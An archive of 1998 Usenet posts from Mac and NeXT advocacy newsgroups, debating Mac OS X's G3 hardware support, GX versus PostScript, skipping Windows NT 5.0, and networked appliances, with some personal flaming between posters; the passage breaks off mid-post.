References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <slrn6nr3i3.1po.sal@panix3.panix.com> <don_arb-0906982347150001@sea-ts8-p25.wolfenet.com>
On Tue, 09 Jun 1998 23:47:14 -0700, Don Arbow <don_arb@wolfenet.com> wrote:
>Huh? According to Apple's press release, MacOSX is *optimized* for G3's.
>No mention was made about orphaning other PowerPC machines.
Ken Bereskin, who is Apple's director of OS technologies was quoted in
Macweek that Apple is developing MacOSX for its G3 machines. They have
not commited to providing MacOSX to any machine other than currently
shipping g3 machines, and all future g3 machines.
A link to this can be found on stepwise, at http://www.stepwise.com/
NOTE: This doesn't mean that MacOSX will not support 8600, Intel, Alpha
or Apple ][gs machines, it just means that Apple has not commited to
supporting MacOSX on any platform other than the g3 line.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 16:01:18 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ntbee.n12.sal@panix3.panix.com>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6ll24v$pn8$1@supernews.com> <slrn6nt9uj.8da.jason@jhste1.dyn.ml.org>
On 10 Jun 1998 15:29:14 GMT, Jason S. <jason@jhste1.dyn.ml.org> wrote:
>He lives in csma, I believe. Where do you suggest that GX advocacy take
>place?
alt.lawson-english
--
sal@panix.com
Salvatore Denaro
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Message-ID: <jpolaski-1006981103120001@d149-212.ce.mediaone.net>
References: <6lk75t$afl@newsb.netnews.att.com>
Date: Wed, 10 Jun 1998 15:57:10 GMT
NNTP-Posting-Date: Wed, 10 Jun 1998 10:57:10 CDT
Organization: MediaOne Express -=- Central Region
In article <6lk75t$afl@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Finally, Rob Enderle says something, that makes sense, IMO.
> -arun gupta
>
> http://www.infoworld.com/cgi-bin/displayStory.pl?98068.wcntskip.htm
>
> Analysts at GigaWorld say skip NT 5.0
>
> Quote :
> With 30 million lines of code, 85 percent of which is new,
> Windows NT 5.0 is likely to be buggy, said Rob Enderle,
> director of desktop and mobile technology at Giga....
>
> "It's too complex and too new," Enderle said.
> "Even inside Microsoft, there's a realization that the product
> won't ramp to volume till NT 6.0 because of the fear of initial
> releases."
>
> Enderle advised waiting until service pack 3, or NT 5.5, which
> could be out a year or so after NT 5.0
>
> End quote.
======
And for same reason, I had a CNA recommend to me that one might also
consider skipping immediately upgrading Novell to version 5, due in
August.
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 10 Jun 1998 15:58:45 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ntb9l.n12.sal@panix3.panix.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <rmcassid-0906981332290001@dante.eng.uci.edu> <joe.ragosta-1006981109490001@wil47.dol.net>
On Wed, 10 Jun 1998 11:09:48 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <rmcassid-0906981332290001@dante.eng.uci.edu>, rmcassid@uci.edu
>(Robert Cassidy) wrote:
>> Apple isn't yet willing to definitively say one way or another, but the
>> official word today is that MacOS X is G3 only, and that they are
>> evaluating support for older hardware.
>I think you mean _unofficial_ word is that Mac OS X is G3 only. The
>official word is that it's still under review.
Not true.
Goto http://www.stepwise.com/ You'll find a mac week article where Ken Bereskin
(sp?) who is Apple's director of OS development, quoted as saying that Apple
has only commited to providing MacOSX on g3 machines.
As of now, if you plan on running MacOSX you'll need a g3 machine.
NOTE: This might change. Apple might commit to the [7,8,9][5,6]00 machines. As
of now there is *NO* commitment.
--
sal@panix.com
Salvatore Denaro
Date: Wed, 10 Jun 1998 12:13:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-1006981213540001@wil33.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <rmcassid-0906981332290001@dante.eng.uci.edu> <joe.ragosta-1006981109490001@wil47.dol.net> <slrn6ntb9l.n12.sal@panix3.panix.com>
In article <slrn6ntb9l.n12.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Wed, 10 Jun 1998 11:09:48 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> >In article <rmcassid-0906981332290001@dante.eng.uci.edu>, rmcassid@uci.edu
> >(Robert Cassidy) wrote:
> >> Apple isn't yet willing to definitively say one way or another, but the
> >> official word today is that MacOS X is G3 only, and that they are
> >> evaluating support for older hardware.
> >I think you mean _unofficial_ word is that Mac OS X is G3 only. The
> >official word is that it's still under review.
>
> Not true.
>
> Goto http://www.stepwise.com/ You'll find a mac week article where Ken
Bereskin
> (sp?) who is Apple's director of OS development, quoted as saying that Apple
> has only commited to providing MacOSX on g3 machines.
>
> As of now, if you plan on running MacOSX you'll need a g3 machine.
>
> NOTE: This might change. Apple might commit to the [7,8,9][5,6]00 machines. As
> of now there is *NO* commitment.
Which is the same thing as what I said. They've committed to G3, but
haven't committed (or not committed) to other Macs.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 10 Jun 1998 16:30:37 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6lmcbd$f6$1@supernews.com>
References: <6lk75t$afl@newsb.netnews.att.com> <01bd9419$a1ba5b40$100ba8c0@voodoo2>
"Earl Malmrose" <malmrose@nospam.jetcity.com> wrote:
> What is GigaWorld? "likely to be buggy"? At least they could
> try the Beta and get a real idea if it is buggy or not, before
> they start quoting how buggy it is.
This is funny :) I have not heard of a Micro$oft product yet that
did not get released before it's time or with out tons of bugs.
What a great strategy for them, sell the product with a 'we will
fix it later.' Would you buy a car with that kind of deal? Doubt
you would feel comfortable driving it! ;)
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 10 Jun 98 09:37:34
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun10093734@slave.doubleu.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz>
In-reply-to: ldo@geek-central.gen.new_zealand's message of Wed, 10 Jun 1998 16:53:48 +1200
In article <ldo-1006981653480001@a53.hn3.wave.co.nz>,
ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
In article <6l88l3$j4c$1@goanna.cs.rmit.edu.au>,
Luke Walshe <lw@yallara.cs.rmit.edu.au> wrote:
>ldo@geek-central.gen.new_zealand (L D¹Oliveiro) writes:
>
>>In article <rex-0106981554560001@192.168.0.3>, rex@smallandmighty.com
>>(Eric King) wrote:
>>>I wouldn't be surprised if Apple's new solution also shared the
>>>same coordinate space limitations since they're aiming to be
>>>compatible with PDF and Postscript.
>>
>>Speaking of coordinate space limitations, ever wondered why
>>Adobe's Acrobat Reader won't display pages larger than 45 inches
>>on a side, whereas GX never had any such limitations ?
>
>Why only 45 inchs ?
>
>They both should be about 455 inchs. Although Acro might use an 8th
>of that so it can do 8x zoom. But I doubt it.
And yet the fact remains that the limitation is there with PDF.
Where'd you get that idea? I thought we were talking about Acrobat.
Acrobat being a PDF _viewer_.
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 10 Jun 98 09:35:31
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun10093531@slave.doubleu.com>
References: <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu>
<rmcassid-0906981239540001@dante.eng.uci.edu>
<slrn6nrbv9.1po.sal@panix3.panix.com>
<rmcassid-0906981511310001@dante.eng.uci.edu>
<slrn6ns2jt.qvl.sal@panix3.panix.com>
<rmcassid-1006980015520001@dialin9155.slip.uci.edu>
<*johnnyc*-1006980924480001@mac49-38.psychology.dal.ca>
In-reply-to: *johnnyc*@or.psychology.dal.ca's message of Wed, 10 Jun 1998 09:24:47 -0300
In article <*johnnyc*-1006980924480001@mac49-38.psychology.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) writes:
In article <rmcassid-1006980015520001@dialin9155.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <slrn6ns2jt.qvl.sal@panix3.panix.com>,
> sal@panix3.panix.com (Salvatore Denaro) wrote:
> > Why not? Why shouldn't my cuisinart have it's own IP addr? :)
>
> A must. How else can you tell it to start working on that daquiry
> so it'll be ready when you get home from work!
These sounds funny but the major communications companies are all
working on it (not IP but wireless comminications).
I am forced into my standard "real life" response to threads like
this.
In my office, I have six computers, of various ages, with the oldest
being from 1990. Every one of them can be shut down, unplugged for
days, plugged back in, and when they come back up, Lo!, they still
know the time and date without me explaining it to them.
I also have a microwave, alarm clocks, a VCR, and answering machine,
and probably other stuff, all of which must be reset after a power
outage. In fact, the blinking-time-on-VCR gag has gone beyond an
annoyance, it is now a cultural touchstone (at least in the US). Not
everyone's VCR blinks 12:00, but everyone knows what you're talking
about if you mention it.
This isn't hard stuff. If companies can't be bothered to add 1-2% to
the price of a VCR or microwave to add something demonstrably useful
like a battery for the clock chip, why does anyone think they'll want
to add %25 or more to the price of a cuisinart or bread machine to let
you access it over the net?
In science fiction, you'll periodically run across someplace where
technology dispersal wasn't consistent, and you'll get things like
steam engines with onboard ASICs. I think we're in the midst of a
spiritually similar era. Soon, we'll have set-top boxes which can
connect us to the world and let us video conference overseas with
realtime audio translation - but we'll still have to set the damned
clock manually.
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 10 Jun 1998 09:57:58 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1006980957580001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <slrn6nr3i3.1po.sal@panix3.panix.com> <don_arb-0906982347150001@sea-ts8-p25.wolfenet.com>
In article <don_arb-0906982347150001@sea-ts8-p25.wolfenet.com>,
don_arb@wolfenet.com (Don Arbow) wrote:
>Huh? According to Apple's press release, MacOSX is *optimized* for G3's.
>
>No mention was made about orphaning other PowerPC machines.
Correct. There is no official statement that they will *not* support these
machines, but at the same time Apple keeps making stronger and stronger
statements suggesting that G3 is the line. My dollars are already spent, I
want a committment to the DR1 hardware...
-Bob Cassidy
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 13:11:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lment$epi$1@crib.corepower.com>
References: <B1A31F69-125386@206.165.43.79> <6ll24v$pn8$1@supernews.com> <slrn6nt9uj.8da.jason@jhste1.dyn.ml.org> <slrn6ntbee.n12.sal@panix3.panix.com>
In article <slrn6ntbee.n12.sal@panix3.panix.com>, sal@panix3.panix.com (Salvatore Denaro) wrote:
> On 10 Jun 1998 15:29:14 GMT, Jason S. <jason@jhste1.dyn.ml.org> wrote:
> >He lives in csma, I believe. Where do you suggest that GX advocacy take
> >place?
> alt.lawson-english
You left out the .rant.rant.rant suffix.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 16:59:14 GMT
Organization: P & L Systems
Message-ID: <6lme12$to$1@ironhorse.plsys.co.uk>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79>
<slrn6nrlp3.515.jason@jhste1.dyn.ml.org> <6llfke$m9t$5@ironhorse.plsys.co.uk>
<slrn6nta3c.8da.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jason@jhste1.dyn.ml.org
In <slrn6nta3c.8da.jason@jhste1.dyn.ml.org> Jason S. wrote:
> mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>
> >> Lawson, mmmmmalcolm lives in England. He's one of _those_ people.
> >> Remember Golding's "Lord of the Flies"? He's English - they're
> >> the best.
>
> >Actually I'm not English. Your point?
>
> Ooops. Sorry.
>
So, your point...?
> >Do you have anything constructive to contribute to this group, or are you
> >just going to engage in ad hominem attacks?
>
> Considering the attacks on Lawson coming from the csna side of these
> crossposted threads - pot, kettle, black.
>
Judging by the thanks I've received over the years I think I can say without
boasting that I've already contributed plenty of constructive comments to
this group (csna, and more recently csma) -- I don't recall any from you. Do
you have anything useful to say, or are you just going to continue to add to
the noise?
mmalc.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Wed, 10 Jun 1998 10:17:20 -0700
Organization: University of British Columbia
Message-ID: <1daek83.tjezu119qoziyN@p035.intchg1.net.ubc.ca>
References: <6lk75t$afl@newsb.netnews.att.com> <01bd9419$a1ba5b40$100ba8c0@voodoo2> <6lmcbd$f6$1@supernews.com>
Kari L Beischer <kari@gti.net> wrote:
> I have not heard of a Micro$oft product yet that
> did not get released before it's time or with out tons of bugs.
> What a great strategy for them, sell the product with a 'we will
> fix it later.' Would you buy a car with that kind of deal? Doubt
> you would feel comfortable driving it! ;)
Someone out there, in a flash of sig-file wit, complains: "Enough of
this banana software! (Bought green, ripens at home.)"
--
Bruce Bennett
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 17:01:29 GMT
Organization: P & L Systems
Message-ID: <6lme59$to$2@ironhorse.plsys.co.uk>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79>
<slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6ll24v$pn8$1@supernews.com>
<slrn6nt9uj.8da.jason@jhste1.dyn.ml.org>
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Cc: jason@jhste1.dyn.ml.org
In <slrn6nt9uj.8da.jason@jhste1.dyn.ml.org> Jason S. wrote:
> [Lawson] lives in csma, I believe. Where do you suggest that GX advocacy
> take place?
>
*Not* on c.s.next.* -- that's all we've been asking for the last year.
We've heard all the arguments already, several times over.
cf dejanews November 1996 - present, and seemingly on into the future.
mmalc.
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Wed, 10 Jun 1998 13:24:41 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1006981324410001@pelli.pathology.pitt.edu>
References: <6lk75t$afl@newsb.netnews.att.com> <01bd9419$a1ba5b40$100ba8c0@voodoo2>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
In article <01bd9419$a1ba5b40$100ba8c0@voodoo2>, "Earl Malmrose"
<malmrose@nospam.jetcity.com> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in article
> <6lk75t$afl@newsb.netnews.att.com>...
> >
> > Analysts at GigaWorld say skip NT 5.0
> >
> > Quote :
> > With 30 million lines of code, 85 percent of which is new,
> > Windows NT 5.0 is likely to be buggy, said Rob Enderle,
> > director of desktop and mobile technology at Giga....
>
> What is GigaWorld?
> "likely to be buggy"? At least they could try the Beta and get a real idea
> if it is buggy or not, before they start quoting how buggy it is.
Earl
Let us make an assumption that only 1% of the new 25.5 million is
Buggy..that means 255,000 bugs. If we assume that MS walks on water, and
only has 25,000 bugs.......WOW that is still alot of bugs.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 17:09:08 GMT
Organization: P & L Systems
Message-ID: <6lmejk$to$3@ironhorse.plsys.co.uk>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79>
<slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6llf9k$m9t$3@ironhorse.plsys.co.uk>
<slrn6nt9ob.8da.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
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Cc: jason@jhste1.dyn.ml.org
In <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org> Jason S. wrote:
> mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>
> >> Why do you waste your time on these people, Lawson?
>
> >That's what we keep asking. We don't want him to. A year ago we started
to
> >ask if he would, please, stop posting in comp.sys.next.advocacy because
the
> >debate was no longer interesting, and his ignorance or wanton mendacity
about
> >DPS/OPENSTEP was becoming more than tiresome.
>
> So killfile him and get over it.
>
No, because when he posts something wrong about OPENSTEP/DPS/Rhapsody, if it
goes uncorrected then lurkers will get an inaccurate view of Apple's
forthcoming OS. I want Apple to succeed, and I believe that with a
combination of their own technologies such as QuickTime and the technologies
they bought from NeXT they have the products to do so. Oddly for a supposed
Apple-advocate, all Lawson seems able to do is knock the company and its
products.
> >> They will never actually read your posts and respond intelligently;
>
> >Drivel; there have been numerous well-considered highly informative
retorts
> >to Lawson's posts. I defy you to prove otherwise. Your accusation is
false
> >and obnoxious -- you owe us an apology.
>
> Perhaps an exaggeration in my part, but there have been an awful lot
> of insults aimed at Lawson of late.
>
And Lawson's aimed some back -- I don't see you criticising him.
> And I don't feel that I owe you an apology.
>
No surprise there. So it's OK to knock ex-NeXT advocates.
> >> they only will continue to post their condescending tripe and flames
> >> aimed at you.
>
> >They will from time to time, given that this "debate" has been going on
for
> >over a year and a half now, and it got tiresome over a year ago. If
Lawson
> >wants to post about GX in someone else's house, that's fine, just leave
csna
> >off the groups list.
>
> So killfile him. Don't swamp csma with anti-Lawson flames.
>
So killfile me and get over it.
> >This is another offensive lie, and I ask you to withdraw it.
> >We have all at some time or another admitted faults or failings in NeXT's
> >offerings.
>
> Faults compared to some mythical ideal, or faults compared to another
> shipping OS?
>
Both.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 17:50:32 GMT
Organization: P & L Systems
Message-ID: <6lmh18$to$4@ironhorse.plsys.co.uk>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79>
<slrn6nrftj.4kc.jason@jhste1.dyn.ml.org>
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In <slrn6nrftj.4kc.jason@jhste1.dyn.ml.org> Jason S. wrote:
> Exactly. I'd bet that Klansmen are really nice to one another too.
>
How ironic that you use the rather distasteful example of the Klan, when you
expose yourself as a racist elsewhere
(<slrn6nrlp3.515.jason@jhste1.dyn.ml.org>).
> Flame away, mmmmmmalcolm.
>
Thinking perhaps of a burning cross, are we?
mmalc.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 10 Jun 1998 16:52:51 GMT
Organization: Cygnus Solutions
Message-ID: <6lmdl3$k2i$1@cronkite.cygnus.com>
References: <6lk75t$afl@newsb.netnews.att.com> <jpolaski-1006981103120001@d149-212.ce.mediaone.net>
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> In article <6lk75t$afl@newsb.netnews.att.com>,
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
> > Finally, Rob Enderle says something, that makes sense, IMO.
> > -arun gupta
> >
> > http://www.infoworld.com/cgi-bin/displayStory.pl?98068.wcntskip.htm
> >
> > Analysts at GigaWorld say skip NT 5.0
> >
> > Quote :
> > With 30 million lines of code, 85 percent of which is new,
> > Windows NT 5.0 is likely to be buggy, said Rob Enderle,
> > director of desktop and mobile technology at Giga....
> >
> > "It's too complex and too new," Enderle said.
> > "Even inside Microsoft, there's a realization that the product
> > won't ramp to volume till NT 6.0 because of the fear of initial
> > releases."
> >
> > Enderle advised waiting until service pack 3, or NT 5.5, which
> > could be out a year or so after NT 5.0
> >
> > End quote.
>
So, isn't this basically what MS advocates have been saying all along?
"Well, ok, THIS version of NT wont be the one to ramp up to volume, but by
the NEXT version NT will be a Unix killer!"
Where's that wolf, little shepherd boy?
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 13:05:32 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lm0as$rbq$1@ns3.vrx.net>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
<357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
<6li1b3$bgl$1@crib.corepower.com> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org>
<6livgp$9m9$2@ns3.vrx.net> <6lkmp9$bjf$1@supernews.com>
<6lljjg$hs1$3@ns3.vrx.net> <slrn6nt9b0.n12.sal@panix3.panix.com>
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In <slrn6nt9b0.n12.sal@panix3.panix.com> Salvatore Denaro claimed:
> This is one of the selling points. Linux is based on well understood and
> proven technology. They didn't run off and try to build a buzzword OS, just
> an OS that works well enough for normal use.
Well specifically the project was not really "into" building it as a
end-user product at all. However as the past history of Unix has
demonstrated, lots of authors and use doesn _always_ lead to stability. Take
sendmail, please!
> I noticed. :) Care to explain?
I am of the opinion that it will be available in some form in the new
system as well.
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 18:13:00 GMT
Organization: I don't think so
Message-ID: <slrn6ntje5.g7.jason@jhste1.dyn.ml.org>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79> <slrn6nrftj.4kc.jason@jhste1.dyn.ml.org> <6lmh18$to$4@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>> Exactly. I'd bet that Klansmen are really nice to one another too.
>How ironic that you use the rather distasteful example of the Klan, when you
>expose yourself as a racist elsewhere
>(<slrn6nrlp3.515.jason@jhste1.dyn.ml.org>).
I'd hardly call that racism. Sarcasm, yes, but not racism. (In any event,
the LOTF reference was perhaps apropos - the young lads declare themselves
"the best" because they are English, and proceed to disprove the point,
revealing that _their_ arrogance is nothing more than a delusion. Perhaps
we'll check back in a year or two and see how Rhapsody/NeXTSTEP is doing
with respect to Linux and FreeBSD and find out if it really is "the best"
or just another artifact of the RDF).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 18:07:34 GMT
Organization: I don't think so
Message-ID: <slrn6ntj3v.g7.jason@jhste1.dyn.ml.org>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79> <slrn6nrlp3.515.jason@jhste1.dyn.ml.org> <6llfke$m9t$5@ironhorse.plsys.co.uk> <slrn6nta3c.8da.jason@jhste1.dyn.ml.org> <6lme12$to$1@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>> Considering the attacks on Lawson coming from the csna side of these
>> crossposted threads - pot, kettle, black.
>Judging by the thanks I've received over the years I think I can say without
>boasting that I've already contributed plenty of constructive comments to
>this group (csna, and more recently csma) -- I don't recall any from you. Do
>you have anything useful to say, or are you just going to continue to add to
